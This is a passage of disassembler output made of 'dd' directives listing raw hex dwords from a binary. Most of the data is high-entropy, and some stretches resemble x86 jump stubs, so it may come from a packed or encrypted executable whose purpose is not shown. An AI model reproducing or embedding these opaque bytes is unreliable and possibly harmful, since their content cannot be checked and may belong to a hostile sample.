		dd 0BEA4B5FFh, 42D42B3Ch, 0B2906A23h, 7CD74106h, 0C6CBA7B3h
		dd 0B9521477h, 0F5000000h, 0FB9D5CFFh, 0A34EB353h, 0B5AE470Fh
		dd 46802EDCh, 0AF58A642h, 68A0DA00h, 5AAF58A6h,	339018F1h
		dd 179CD172h, 0A47E8CBh, 345674A5h, 0AF58A5F4h,	6C3365CEh
		dd 822380C9h, 0EA1CAAE3h, 0AF58F8B4h, 0EE8D4CEFh, 0CF78CEA7h
		dd 0CF30D66Dh, 0AFB5E3AEh, 398321Dh, 8DAF10B6h,	0D43FEBC4h
		dd 98D576B3h, 97B81BAFh, 0FEBF2EDAh, 0E2C1F326h, 84861h
		dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h
		dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h
		dd 0DF4A4EF8h, 0F238B605h, 135EFF55h, 40092C97h, 0D66A509Ah
		dd 0BA8ED81h, 5F16D812h, 0A28973A5h, 913559BAh,	7DE20D74h
		dd 0C2231C9Fh, 6942EFA6h, 743D60CFh, 9ED7762Fh,	29B8708h
		dd 0BAA20000h, 527D2430h, 0C86093D1h, 4066DD7Fh, 656A906h
		dd 73B09BB6h, 656ABEBh,	0C36CC7B6h, 0F12953F9h,	0D3B60656h
		dd 88643078h, 6F147156h, 22Ah, 0B30BAB0h, 9C14BFCh, 0D0ED850h
		dd 8EAF57E4h, 0D771952Eh, 0B605E072h, 82CF6F50h, 0F3927DA9h
		dd 8FA30CBAh, 0BA3465CAh, 0A2554A25h, 1DE731A8h, 0C3B93B2h
		dd 0BE0E4A56h, 2EE22660h, 77A0B606h, 0BF78A59Eh, 0C600A61Dh
		dd 0BCAE34A7h, 9116B29Dh, 0BFEC7C61h, 757837Ch,	1B3E0000h
		dd 0C66BD452h, 0FC9C0783h, 0A0CE71B5h, 5DFEA1E5h, 6C0D8A10h
		dd 72C885A6h, 0AEFCB1D1h, 982E6705h, 0C95D1437h, 3D7D8F5Dh
		dd 7B605E0h, 5CFF5AC1h,	6C0EF115h, 8B14F721h, 0A37CA1E8h
		dd 0BC65CA8Fh, 9C4AD79Ah, 57D72E6Ah, 0DF3B14AFh, 0D130BF60h
		dd 91B4BB64h, 0ACC122D8h, 0C55344E9h, 0D6E3DF7Fh, 670A12DFh
		dd 1D000001h, 88155CFFh, 0E93D7417h, 0A145FE5Eh, 0FFF5F867h
		dd 3C61CAB5h, 0FFF5FA3Ah, 0C38AA9B5h, 4246805Eh, 0B5FFF6h
		dd 0DD98B617h, 7B249150h, 45AEB4FCh, 0D7C06D28h, 1C9CD976h
		dd 0FCFEA7h, 0E71477CDh, 48h, 0EB5E738h, 4B089ED8h, 24549576h
		dd 0DFC06EF4h, 13FBF3BEh, 6FDF437Dh, 0D12C3A7Eh, 0B3B600ABh
		dd 0D3D31B98h, 0D0B600ABh, 0E9BAE7A2h, 35980548h, 0CCB1DF40h
		dd 3B3C8A44h, 0D5BEE2DBh, 0D524E4Ch, 0B2B51477h, 8E000000h
		dd 0F1155CFFh, 50EA6E0Eh, 0AF57D758h, 8028012Ah, 24E18223h
		dd 0CD524B0Eh, 42783154h, 2D8BC261h, 0F46E5BEh,	515F41BBh
		dd 9E01AF58h, 0BE61B7FEh, 0AA50D69Fh, 3D622B49h, 59FB4CECh
		dd 5C9EC4E2h, 0DAB311C3h, 293F7991h, 0B602FB06h, 4CB753FCh
		dd 5F40662Bh, 901BB33h,	0FBB602FBh, 0E13A6750h,	0C162CDB7h
		dd 9B555C8Ch, 5C5FF327h, 5F0E3h, 0F9B0D700h, 286D02ADh
		dd 5E173192h, 8ECB67C8h, 0BBF69738h, 41D1E06Fh,	76D96D20h
		dd 0A20D99D4h, 0D47FCB82h, 3AA2F8B1h, 0E2A2E620h, 5A60B605h
		dd 3959BAFDh, 0BAFE2F74h, 8D1954F5h, 0FC4A0322h, 0F45CFFD7h
		dd 72D1D6A1h, 8B2801CCh, 14FF7B1Ah, 0A4F53A7Fh,	58211E1Ah
		dd 20AAE4AFh, 0E41E5EB9h, 5FEBC4BDh, 40D4h, 5CFFF700h
		dd 74178815h, 0D75256F0h, 730AF57h, 7320812Eh, 0FED79EBEh
		dd 54CF0B1h, 2283E898h,	0EF347D1Bh, 0E556C5BEh,	0EE8F703Ch
		dd 8BAA75A3h, 76D224C2h, 4F8DE4C9h, 0BD068C2Ch,	12h, 155CFF98h
		dd 0D7474E88h, 46D5AF57h, 0FEB7D6DDh, 5CFF83A8h, 6E0EF115h
		dd 9123E1C6h, 8962D6D3h, 0F692F324h, 5C8A79BFh,	6EAAF01Ah
		dd 9503FD74h, 0ED19A212h, 5ED0A5Bh, 0AB5FF8B6h,	0DE6C2548h
		dd 129FD675h, 2B5D2B89h, 0B605ECEFh, 65817AD5h,	5D92BD3Fh
		dd 0BBA51CC0h, 43AFEB7Dh, 0BA95BCB4h, 50FDE60Ch, 446AAED8h
		dd 0FF58BCB4h, 6E0D9206h, 23658327h, 0BCB443E7h, 5C2672DDh
		dd 941950F3h, 0EC1AA113h, 822F6203h, 544D0021h,	4AF01EC4h
		dd 0B443F830h, 3761CABCh, 5C5E2A31h, 0B3D33CC3h, 5E918933h
		dd 0D873C35Ch, 0CF6942EFh, 0E9F21601h, 2FE5CE37h, 48F338Ch
		dd 0D3760000h, 8EA30C9Ah, 0B4D47FCBh, 6806A9FDh, 1536992Dh
		dd 3445C258h, 0AAF0BDDEh, 0E6246909h, 0D0561F3Dh, 185CC6Fh
		dd 50547A5h, 0FFB605E3h, 1CBA92B9h, 57D6AEEAh, 7DBB94AFh
		dd 4CDA93B2h, 9A1E3DA6h, 57D72860h, 58311AAFh, 652C4FD0h
		dd 8DC46738h
		dd 0F73F1F59h, 9C5ADE3Fh, 0F7BE64C0h, 0BAD865Fh, 0F3BC1998h
		dd 6F2646A9h, 8EC766C9h, 60A09C38h, 0ED6F12DFh,	1BED396Dh
		dd 0DC7EBA81h, 44h, 0EB5E767h, 2715AED8h, 44EFB600h, 561F3DA6h
		dd 26F036D0h, 90B3B600h, 55A74DD9h, 0B7D6BCBFh,	515EE4FEh
		dd 50F4BBFDh, 3547ED19h, 9D2B442Bh, 96923CCCh, 6CB60021h
		dd 88CD62C3h, 0CAC24320h, 0E5000003h, 0AEEA1CBAh, 0B0AF57D6h
		dd 57D71216h, 8747F0AFh, 80A30CACh, 0B2F79B04h,	57D71008h
		dd 6059F2AFh, 8AC362C3h, 92298B3Ch, 47E5CE74h, 6ABE286h
		dd 6BF73C15h, 57D6D9D1h, 9780ABAFh, 0F598C701h,	0C16AB5FFh
		dd 0F59A9A5Ch, 5D36B5FFh, 0CCEAC6D4h, 4D0D1477h, 16000000h
		dd 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 783D52B6h, 81C46A3Bh
		dd 5BC4B11Ch, 36FF54DCh, 976E06Ah, 4086B1E4h, 46504CE8h
		dd 5D9F1477h, 75C38C93h, 8655E5E1h, 0E53D5605h,	6CACDE0Ch
		dd 56B600B0h, 0EB99BBFDh, 0A2000000h, 0AEEA1CBAh, 94AF57D6h
		dd 69F3E95Ah, 655EB6BFh, 80C96C33h, 8E8A3C5Ah, 74AF5837h
		dd 70EE5DDBh, 3778B0CAh, 0E14AAF58h, 0A47E8B7h,	1059FCA5h
		dd 3A731293h, 3C041AECh, 0FC9FAF58h, 288B71B5h,	43EC4C05h
		dd 43C46920h, 3ABC6AD1h, 0CF9A41DCh, 20CA6E87h,	7673E6h
		dd 0EE8A75B6h, 0C1F903A7h, 83B60075h, 0DDFE00A8h, 71AAF7BEh
		dd 1BB90298h, 0D7C07AA0h, 0ADBCAB17h, 0B354B63h, 0B9922003h
		dd 0CC81A20Dh, 34B4D57Eh, 0ABCD9692h, 0EAC36CBCh, 7EC9A73Eh
		dd 79CAE9ECh, 289h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h
		dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch
		dd 0B9A33B8Fh, 5E50B0Fh, 94B3F9B6h, 0ACDE5EFFh,	0AF57D76Ch
		dd 885A1737h, 8A70B6AFh, 0AECA0B29h, 8861BAE7h,	95DC7F20h
		dd 0B5E72A11h, 4FAED80Eh, 35B60005h, 5155951Ah,	6DB60005h
		dd 0D28B65F7h, 1AA703CBh, 0BCED327Bh, 35FE55C3h, 4AE6886Bh
		dd 1FDF229Fh, 53C5BE17h, 7729EBC7h, 0B53214h, 0FF150000h
		dd 5288155Ch, 0D7969234h, 0C36CAF57h, 0E4A9CA55h, 1078B4C6h
		dd 8177F2E6h, 5CB2B417h, 47AF587Ah, 76D96D24h, 0DFCF7FD7h
		dd 582BB98Fh, 0DB79C26Fh, 0D900BA60h, 0ABB600D1h, 13813A80h
		dd 9D3C8649h, 3B6CB1FCh, 9C91FDA3h, 0C9F507A3h,	5E7189C2h
		dd 162BF600h, 3C0742Bh,	0AD3D4F95h, 97BCAACBh, 84A50EBCh
		dd 0B1D27DC9h, 0CBA3CCFCh, 8E2DEC7Fh, 18C35h, 9DD47300h
		dd 0CC89A609h, 0FAB3D57Eh, 2A6F03ACh, 5F12339Ch, 0E52D4CCBh
		dd 12BD0944h, 46E93D70h, 78DB6F26h, 9E0E9CD5h, 0E5FE3A4Ch
		dd 86C4B605h, 135EFF99h, 0E9866997h, 80A30CACh,	0FF567DC9h
		dd 1788155Ch, 46E93D74h, 57B86E27h, 53307831h, 35D16ACAh
		dd 2F893h, 3C61CAB6h, 80F903Dh,	709E2C65h, 76A2EF8Fh, 2B803B1h
		dd 0A82241F8h, 9CBC27BCh, 0B5D748D5h, 6B9503FCh, 0A3C263C0h
		dd 7DEE45EAh, 0BC07B5B4h, 413DFC0Eh, 8523C350h,	50414743h
		dd 0ABEF19C3h, 99C35040h, 95032CBEh, 6920486Bh,	0C8694A70h
		dd 6A91385h, 65812E67h,	7C1CD97Ah, 53DC5C35h, 343B7831h
		dd 4A169Fh, 0E470C102h,	7A2573B2h, 0B31492DBh, 0FA0CBA01h
		dd 0C9F8661Fh, 3CE54AE5h, 52D35019h, 6B34793Ch,	6D2380C9h
		dd 0F31E9D06h, 0EA4A59DAh, 244AB551h, 0E4263C61h, 0C9F866A4h
		dd 5CDCB59Eh, 92957496h, 0C46FD0A0h, 0EC57C546h, 8E888C3Eh
		dd 597AD74Eh, 6D99723Bh, 6ABE282h, 7F208315h, 5AC974DCh
		dd 1CB7289h, 12319228h,	4C2DAF5Bh, 0C0370AE3h, 69F152C6h
		dd 0E09542BCh, 0FDBF60D5h, 9CB27312h, 6A43E0D9h, 8BC261CEh
		dd 0BB87D13Fh, 0FCB1D276h, 14172E2h, 0CD650897h, 4544FB16h
		dd 0B6FBD4CFh, 9F0441EDh, 0ABB27358h, 0DA45C188h, 0B1ADF2BBh
		dd 12856427h, 2F8979EAh, 10A0h,	1CBA7B00h, 57D6AEEAh, 4ABB94AFh
		dd 2131672Eh, 1158FF3Ah, 3970138Ch, 40092BF4h, 6D2042E3h
		dd 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh, 0D792BF60h
		dd 1768FA4Ah, 89000001h, 0B268242Ch, 89000001h,	89522414h
		dd 4C281E2h, 83000000h,	148704EAh, 1C895C24h, 4EC8124h
		dd 89000000h, 0E7BF243Ch, 0BA60F276h, 0A5BB86A4h, 545FFA01h
		dd 83241C8Bh, 8F5204C4h, 1C8B0843h, 0E2895224h,	4C281h
		dd 0C2830000h, 24148704h, 2434FF5Ch, 4C4815Ah, 0E9000000h
		dd 0FFFA6C1Eh, 0EEC9817Fh, 4714745Dh, 9730996Dh, 3DB8F558h
		dd 306AE11h, 77E0FFC5h,	57550BE3h, 0B027F169h, 0D710BE6Eh
		dd 414B7E9Eh, 4837A71Fh, 0E91E6D14h, 24780CF8h,	0A30E1170h
		dd 0A920C186h, 4426EEEBh, 0F707E8D0h, 59571572h, 61585CE7h
		dd 0AE0240C5h, 0EE653612h, 743E2E6Dh, 0EF258737h, 0AA0DE7FAh
		dd 1653050Ch, 541A4BE1h, 0E076F0EFh, 7C571055h,	0DA70BBA5h
		dd 0E83EE4F7h, 0Fh, 0E2E81FB2h,	6DC55923h, 3B39FD1Fh, 66E9F754h
		dd 0A6CEF81h, 158D0F5Ah, 56000000h, 0EE9h, 0E0D2A900h
		dd 383034CAh, 0EB5B3A69h, 5FE4E412h, 5ADEC281h,	9B90000h
		dd 2B3FDE2Ch, 5820FDBh,	66000000h, 18D0F781h, 0B91A348Bh
		dd 12A266BDh, 30E2C681h, 0B8663D8Ah, 0EE819910h, 1821F36Ch
		dd 0FCE18166h, 0C7C68189h, 8A5ED43Ah, 1A3489C6h, 0CFE98166h
		dd 2C5CBFECh, 0EB835FBFh, 4B4B4B01h, 0BB79C8B9h, 0DCFB8138h
		dd 0FFFFFA5h, 1385h, 9A0ABF00h,	23E934DEh, 8F000000h, 5D590BB1h
		dd 0CFF529C5h, 9CD18166h, 0FF9AE9EBh, 6348FFFFh, 0AA1FA414h
		dd 6DBAD566h, 0DD6BF4Eh, 92E9B20Dh, 96000000h, 47264F63h
		dd 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h, 720095B7h
		dd 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h, 897D60D7h
		dd 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh,	0B99D8993h
		dd 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h, 3C33594Ah
		dd 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh, 0B69F8995h
		dd 97BBEFh, 0C3B1B6D0h,	527155h, 0C20DA437h, 0E0910D3h
		dd 5 dup(0)
		dd 10F4E900h, 6B680000h, 0E906AE15h, 0FFFA6A3Eh, 0AE166768h
		dd 6A34E906h, 7D68FFFAh, 0E906AE17h, 0FFFA6A2Ah, 0AE18EA68h
		dd 6A20E906h, 8368FFFAh, 0E906AE19h, 0FFFA6A16h, 0AE1A2768h
		dd 6A0CE906h, 0B768FFFAh, 0E906AE1Ah, 0FFFA6A02h, 0AE1B8F68h
		dd 69F8E906h, 8668FFFAh, 0E906AE1Ch, 0FFFA69EEh, 0AE1D4668h
		dd 69E4E906h, 3168FFFAh, 0E906AE1Eh, 0FFFA69DAh, 0AE1FAD68h
		dd 69D0E906h, 2068FFFAh, 0E906AE22h, 0FFFA69C6h, 0AE232968h
		dd 69BCE906h, 5FFAFFFAh, 22F9016h, 3860C347h, 0E48A3571h
		dd 99BA65A1h, 0A8C956D4h, 684C96Ah, 6AB0FD9Dh, 0A4E2ABC9h
		dd 951158FBh, 79B1CB11h, 4BB605EBh, 5CFF260Dh, 74178815h
		dd 36C01FDCh, 0A7875F16h, 0C95D365Fh, 1EA8DE7Eh, 0AF588E1Ah
		dd 7DA2EB89h, 9871DA2Ch, 8682C462h, 7CAF588Eh, 719F45D3h
		dd 9DF781CBh, 0A25C1367h, 58912018h, 36A8E2AFh,	0D18924EDh
		dd 6FF93F28h, 0B6003B00h, 0A0EB8E6h, 0F8B6003Bh, 1C37D95Fh
		dd 5C6CEEh, 4D090D1Ah, 0F47C12FEh, 0EAA83FEh, 0DF37419Dh
		dd 0B4BE9F63h, 90DDB5Dh, 0A5B60039h, 0B3F711BFh, 91B60038h
		dd 189972A6h, 77B02E1Ah, 5DFEE114h, 257A9810h, 0CD000000h
		dd 0D80EB5E7h, 7C3151B2h, 4D32A3Ch, 86B1B600h, 4D5D119h
		dd 1AF1B600h, 0F8AD9999h, 0CB481477h, 0D3000000h, 0F09D5CFFh
		dd 8B57DCB5h, 0D6DFDB6Dh, 4781AF57h, 0AF57D743h, 9AD41601h
		dd 7AD4F0A6h, 88201993h, 1BAA0627h, 5C11325Bh, 370CC6D7h
		dd 40EDC651h, 0A8F5BCDFh, 891D54F7h, 58A1227Fh,	0ABE281AFh
		dd 0D891B41Fh, 0D962D25Bh, 0A9509B2Dh, 1932B600h, 219A3A8Dh
		dd 0A31D5F85h, 0AE1FD3BAh, 54EC7ABEh, 2EBCAAE0h, 58BBE105h
		dd 0F8317E3Bh, 34EEFB0h, 367B1C87h, 7FCBF592h, 27981BECh
		dd 0E6Ah, 6EBCF594h, 59EDA8C5h,	8F1B52F6h, 0FF4B0E24h
		dd 287E3354h, 63040EA3h, 1737982Eh, 0C163CC5Ah,	0F2913288h
		dd 6DFF6FBBh, 5EBDFDBh,	0B867A5B6h, 0ACDE5EFFh,	0AF57D76Ch
		dd 8604FD56h, 93377E1Dh, 0B21DC459h, 22764DE7h,	0B5E77358h
		dd 0D781B9C3h, 0E843AF57h, 42ADCBFFh, 5CC56A23h, 0FB2C7138h
		dd 66A2E402h, 5CAF57D7h, 4CA3A5F3h, 36B60005h, 4E56901Dh
		dd 6AB60005h, 26630FF0h, 9A9819F2h, 1477F8AEh, 0D549h
		dd 5CFFD200h, 76178815h, 0E3DC95B3h, 0DC63BCBEh, 1D40AF57h
		dd 8228D654h, 57DC4078h, 8F2902AFh, 96347D20h, 0DBDADE68h
		dd 42A8AF57h, 57DC0038h, 7069C2AFh, 52C24B38h, 408B3DE9h
		dd 2B5FFE4h, 8A2A9D29h,	846F9531h, 9A0BA8E1h, 3B6CB1F4h
		dd 0AF10D642h, 95BCAA82h, 82A30CBAh, 11E0612Eh,	8B64A0D5h
		dd 0BEF3943Fh, 8060670Ah, 0F94A69ECh, 0D6Eh, 62B8F198h
		dd 5DE9ACC1h, 8B1F56F2h, 0FB4F0A28h, 2C7A3758h,	5F0012A7h
		dd 0B2B9412h, 3D5FC046h, 0EE8D3674h, 61FB63A7h,	5ECE327h
		dd 0BC9BA1B6h, 0F7135EFFh, 6F54EF65h, 66B22C23h, 5910339Ch
		dd 215B2BADh, 0F3C3641Bh, 7BBDF092h, 0BBCD6B91h, 0AF582A7Fh
		dd 8AC36245h, 0AA1BF425h, 415AC78Eh, 5CFFCCD7h,	6F8FEFF4h
		dd 251E7F7Fh, 4D0427F8h, 7B3256F9h, 78822836h, 0AF586E40h
		dd 208F2902h, 0D297BC7Dh, 1CFCADF9h, 0C2F843F1h, 8451B8h
		dd 0E29033B6h, 0AC5ACEA7h, 0AD8AB569h, 0CA26FD7Fh, 876FF854h
		dd 9D269611h, 60E88669h, 8A7CE226h, 9E77A0ADh, 20AAD01Ah
		dd 1D372A47h, 193F5D81h, 3D8A04DEh, 0F2798F29h,	0D0B432BDh
		dd 0C3713A67h, 0C7614278h, 50BF748Eh, 80C5F1BFh, 0EDB8C228h
		dd 0D7BADD90h, 0D2A127B1h, 0E6C257D1h, 0DD2ADCDCh, 948DA6BAh
		dd 0B73AE476h, 0B0D52138h, 7211F278h, 0E248F3Bh, 0BC67ED4Bh
		dd 8328D099h, 5EE4D95h,	0C58DDA6h, 0E7820000h, 9AB718AEh
		dd 40E84BDFh, 7C12BD09h, 2142ED39h, 2051DE6Ch, 8E1C51F2h
		dd 0F2480525h, 2C7A3351h, 1DA9E083h, 0F1295389h, 0D3B605EDh
		dd 5CFFAE95h, 0D76AAED8h, 7758AF57h, 0CDA69FDAh, 0CE75A760h
		dd 7CBEE18h, 9EB9B600h,	0AEEB8768h, 9507800Ah, 7517F82Eh
		dd 0D476FC3Ch, 0BCA82275h, 0AAE7886Bh, 7A841405h, 8A8A4CD1h
		dd 26BCA822h, 0A653BA3Ch, 70D6E103h, 0D0E24338h, 1F8F96E4h
		dd 5B03h, 54FAE500h, 1D9B8C11h,	0EB5E716h, 1851F7D8h, 0C32C4A90h
		dd 0DB11E9A0h, 62EF9B58h, 87DC2A8Eh, 7DB600D9h,	0A9CB34D2h
		dd 3ABC5AE0h, 9FD3FFA3h, 0ABCD3ECEh, 76B0B6E2h,	2DB6011Fh
		dd 0E6A3CF0Eh, 537760B9h, 0FDFB7D19h, 0D058D2B9h, 238C6Ah
		dd 1C40EF49h, 7B77C855h, 5200000Bh, 0D80EB5E7h,	7D3051B2h
		dd 0B9C3E730h, 0AF57D781h, 8640E843h, 0B605EAD5h, 353865AFh
		dd 0EA084B26h, 44AFD5F1h, 2464A62Eh, 1EB605E5h,	53DC5C35h
		dd 624D7930h, 145D00CDh, 73A59E8Fh, 0CDE96389h,	6E008D50h
		dd 413A7717h, 6C2548D7h, 6DD646C7h, 91ED0FB9h, 55F3BCB4h
		dd 0B491F733h, 3662CDBCh, 18FB2F08h, 45EE3C75h,	2018A226h
		dd 0E2BCB492h, 4AD35049h, 13B551EAh, 0C35CAC48h, 0B4F9993Ah
		dd 0A3453E6Fh, 0E5CE00F2h, 0EB7EC7E4h, 1500000Ah, 44EF3B72h
		dd 73DC6A2Fh, 0A50E9CD5h, 0D57ECC89h, 26ADF9B4h, 93DE7F93h
		dd 0C78AAC17h, 0F5BCE043h, 266F0EB1h, 0A4E604E0h, 0B605EF64h
		dd 0A633185Eh, 0AF57D75Eh, 4C71F600h, 6ABE688h,	242CDD15h
		dd 7ADA6DCBh, 9EBA25C1h, 0D8869A36h, 2E078078h,	0B03A608Ah
		dd 46BA12BCh, 8543D5DBh, 0B606256Fh, 0E3CCFA55h, 0A9EC8140h
		dd 0EC3A1304h, 0C4692043h, 0BC6AD143h, 0B1E5DD3Ah, 6081317h
		dd 8C46F1B6h, 0A4F4D665h, 482D0CBEh, 3C17BCAEh,	7C64C38Ch
		dd 15EECDECh, 0A52h, 1694DD7Ch,	41C580ADh, 0B7F3BADEh
		dd 0E723660Ch, 0D0561B3Ch, 4BEC264Bh, 7F1F8006h, 294BF432h
		dd 0DA79DA60h, 55971793h, 5EFF733h, 0A08FCDB6h,	88155CFFh
		dd 94B57417h, 0D93AE0D9h, 0CBB8F0B5h, 7F7B24B3h, 12DFD283h
		dd 4F36Ah, 0B5E7BD00h, 60AED80Eh, 22B605EAh, 53F2DD09h
		dd 238C1Ah, 2262E449h, 0C4B605EAh, 3A5F3CB2h, 62B64427h
		dd 1ECC77A5h, 0F8304AF0h, 0ABB606A8h, 4E5FC48Dh, 0C30593BCh
		dd 0BCAED9E8h, 2C6F7CFEh, 0F677DFEFh, 99921F56h, 6DC608A0h
		dd 7B36EEBBh, 9273B0ECh, 9AEh, 0A2F8B1D8h, 9D296C01h, 0CB5F1632h
		dd 3B8FCA68h, 6CBAF798h, 1F40D2E7h, 0CB6BD452h,	0FD9F0086h
		dd 0AECD76B4h, 213BA3E7h, 5F1A3E7h, 0FC5B61B6h,	0E0130BAh
		dd 0FB50E471h, 0FF391257h, 0DF440D30h, 0C16E2746h, 71812289h
		dd 12DF1485h, 44B60h, 5EA6BB00h, 5DAF57D7h, 64A644FFh
		dd 0B605EA50h, 6BED1932h, 0FA8012D2h, 0D51F99C2h, 84024BEAh
		dd 0EC31781Bh, 0A7EE8D76h, 0BD06B671h, 5ADCFF09h, 8DA6BCAEh
		dd 7C52085Bh, 542D8EECh, 91Eh, 0D2682148h, 0D99DC71h, 7BCF86A2h
		dd 0ABFFBAD8h, 9C2A6708h, 8FB06217h, 0BBDB44C2h, 6D0FB0F6h
		dd 1E3DE624h, 914BD357h, 5F13377h, 6CCB11B6h, 0FE9D5CFFh
		dd 58316AB7h, 622B4ADBh, 0ACEC1E44h, 96AF57D6h,	0FE887BBDh
		dd 4E3A38F9h, 0A912DFD2h, 3B8h,	3559BA72h, 0EC2E3870h
		dd 0AFAF57D6h, 0F610B60Dh, 0B605E9E7h, 2E5472DDh, 5EA9C9Ch
		dd 6BCD66B6h, 0D77F1E81h, 73AD8AADh, 97C80275h,	84AEC7D3h
		dd 6DD6544Dh, 0F7EF66CEh, 9117026Fh, 4EF7BB8h, 0CD88A663h
		dd 0DA5E4FD4h, 0B9DCEF4Dh, 45E307F0h, 2375385Ah, 0AEDBCA25h
		dd 12339CBCh, 0B2FFBAD7h, 82238079h, 1506ABE2h
		dd 1852FC3Ch, 0AC22794h, 1A38A9E9h, 0E0D9D25Fh,	7BA96538h
		dd 3B8427ECh, 846h, 3A80C970h, 75B1F499h, 0A3E7AECAh, 93175200h
		dd 0C4420F30h, 0B7D83A7Fh, 6303ACFAh, 1537982Eh, 0C665CE5Ch
		dd 0B9A33B8Fh, 5F20B0Fh, 94B3F9B6h, 88155CFFh, 4F561852h
		dd 9E9A9E28h, 0CF68AF58h, 178E8837h, 0D77F1E81h, 0A264DDF6h
		dd 0DB5831F8h, 2F36FF54h, 3EA1450Ch, 79C35510h,	0DFC8E1DDh
		dd 70412h, 0DF1F0000h, 2C8h, 0EA1CBAFAh, 0AF57D6AEh, 0EB7DBB94h
		dd 0AF57D6B1h, 662B4CB7h, 0FF48E039h, 87CE6E5Dh, 0F228011Ah
		dd 5EA8C48h, 0F61076B6h, 0B605E9B2h, 18CEA790h,	49DD94B7h
		dd 0A10E47E6h, 0E787B418h, 0F61405AAh, 5EA5454h, 2C052EB6h
		dd 0F23650FEh, 0D0B605E9h, 8D2B3167h, 0B509D94Bh, 5E41713h
		dd 8842EDB6h, 8B3F36A0h, 6B73971h, 88200BB6h, 0AEBD1F7Eh
		dd 9FABE5BCh, 0DF96B6D1h, 88815952h, 8A3E17D6h,	0EC7C959Dh
		dd 4FBF00A3h, 79000007h, 0B01397DEh, 0DF40C683h, 9AAF0B9h
		dd 399A2065h, 4AD15518h, 74AEB27h, 337E2083h, 61284CF7h
		dd 92DB7A25h, 304A9014h, 0B605F2F8h, 0FFA78CCAh, 67F1155Ch
		dd 0C5A66BB8h, 5FF35415h, 742D9E1Ah, 941B98D1h,	0CC6F763Fh
		dd 0D7FA3E48h, 6FC8AF57h, 0E9CA3076h, 0A1EC8E4Fh, 0ED322B7Ch
		dd 60294BBCh, 0EA4EEAC3h, 12DFD7FEh, 0C19h, 59BA2200h
		dd 5D22763Fh, 1C4h, 0D765A678h,	0F626AF57h, 4DDE0DACh
		dd 1EF71168h, 0EF9D5EE8h, 4467B605h, 0D2CB6821h, 43E2CDF9h
		dd 6ABE282h, 0EE3C15h, 65B3FE9Fh, 4DD29BBAh, 37D368CCh
		dd 0ADF57A95h, 39EF48BCh, 0EC7CB848h, 8F98694Ah, 0B9000006h
		dd 0F053D79Eh, 1F800643h, 49EA3079h, 79DA6025h,	8A1195D8h
		dd 470A2BE7h, 733E60C3h, 0A1E88C37h, 0D29BBA65h, 0F00AD054h
		dd 0B605F3B8h, 0FFE74C8Ah, 67F1155Ch, 0ACEE1B70h, 7EED4B3Ah
		dd 800BAE0h, 0FAAF58B3h, 3FC69951h, 873FF8B4h, 0A6EF8E11h
		dd 0B7F29F00h, 0D194B96Ah, 4CD3B0F8h, 91723EE7h, 2576BBF2h
		dd 40092CF3h, 6652FAh, 198112DFh, 5B000000h, 0B98F8B3Dh
		dd 1775AF58h, 58B8B5F5h, 0CBA48FAFh, 0F1DF466Dh, 0FA000000h
		dd 57D765A6h, 0ABDD7BAFh, 0AF57D76Fh, 95953755h, 6FAF57D7h
		dd 0FA4DEBC4h, 83C5E15Ah, 0B605EAD2h, 41082B94h, 0D80E29D7h
		dd 0B6F214B2h, 0EDB605EAh, 8B9C014Ch, 0D758D07Bh, 16D775B4h
		dd 0DE433C79h, 0ED56D4CDh, 119A074Eh, 58E218A3h, 0BCADF145h
		dd 77F4143Fh, 99EC7CBBh, 5A4A91Ah, 0ABCE0000h, 56FBA4E2h
		dd 0C2C9713h, 305EC145h, 0ED8E3175h, 0DC9D1AA0h, 0C2581536h
		dd 3E8CC161h, 68BEF795h, 59EDA4C7h, 0ADED1FCDh,	97B605F4h
		dd 5CFFEA51h, 34528815h, 57D79692h, 55C36CAFh, 9D2FABCAh
		dd 0AF57D79Dh, 4ED3CC67h, 8DB013CBh, 36FF54C4h,	0ABCD0C2Fh
		dd 736CBDE2h, 48E6C937h, 2177A00Dh, 0DFD69975h,	77C12h
		dd 0DFC70000h, 20h, 155CFFFAh, 276E0EF1h, 0F29112F1h, 0D4591033h
		dd 0EE45EAC3h, 8EADB47Dh, 30C043C7h, 0DB000000h, 0FE9D5CFFh
		dd 58316AB7h, 0D71413DBh, 0ED8FAF57h, 88A67FA4h, 188D60CDh
		dd 892E1897h, 4B022128h, 0D3D7719Fh, 0B1AF57D6h, 4F062586h
		dd 0BA4463E9h, 20DF3230h, 708AE8EBh, 819297E4h,	179810FBh
		dd 37F03D74h, 7E883E85h, 0B606058Dh, 83CE7053h,	9A40EB15h
		dd 0D7531A39h, 6708C96Ch, 2A95312Ah, 0CFD84508h, 8331FA69h
		dd 58C58CB0h, 29619B4Fh, 1BB60605h, 5A34730h, 604C7C3h
		dd 692BDB6h, 2D4DB6DCh,	0E527C360h, 0B60605A5h,	5DDBB49Fh
		dd 0B419718Bh, 933553BCh, 0BCB41997h, 3DE9C26Dh, 0ACFAB3D2h
		dd 933B5D46h, 7CE72477h, 0F6221B81h, 7C8E0A29h,	0BCB46C3Ch
		dd 62A6E006h, 20BCB46Ch, 81251EF7h, 6BE9215Bh, 9ABABCB4h
		dd 8D5D4ED3h, 149576A2h, 5DEF1BA0h, 0C35C868Eh,	282DDB74h
		dd 6AE5CE27h, 428F849h,	37520000h, 0EA87287Eh, 90B81BAFh
		dd 4CE24DD9h, 7112BD09h, 5061EE3Ch, 5EECA1C2h, 821855F5h
		dd 0FC4A0321h, 2D793053h, 2119A3B9h, 0E3B605F6h, 5CFF7EA5h
		dd 0F2E9115h, 0C07AA046h, 0AF57D6C8h, 0A40791BAh, 8C1158FBh
		dd 0F23F7213h, 0D15E1731h, 7DFCA50Eh, 0F1F8B912h, 2F8F1B52h
		dd 12DFD633h, 0F67211F2h, 57E35454h, 2C052EAFh,	0F0029687h
		dd 3Eh,	4508298Ah, 4269CFD8h, 0D80EB5E7h, 2715AEh, 0A644EFB6h
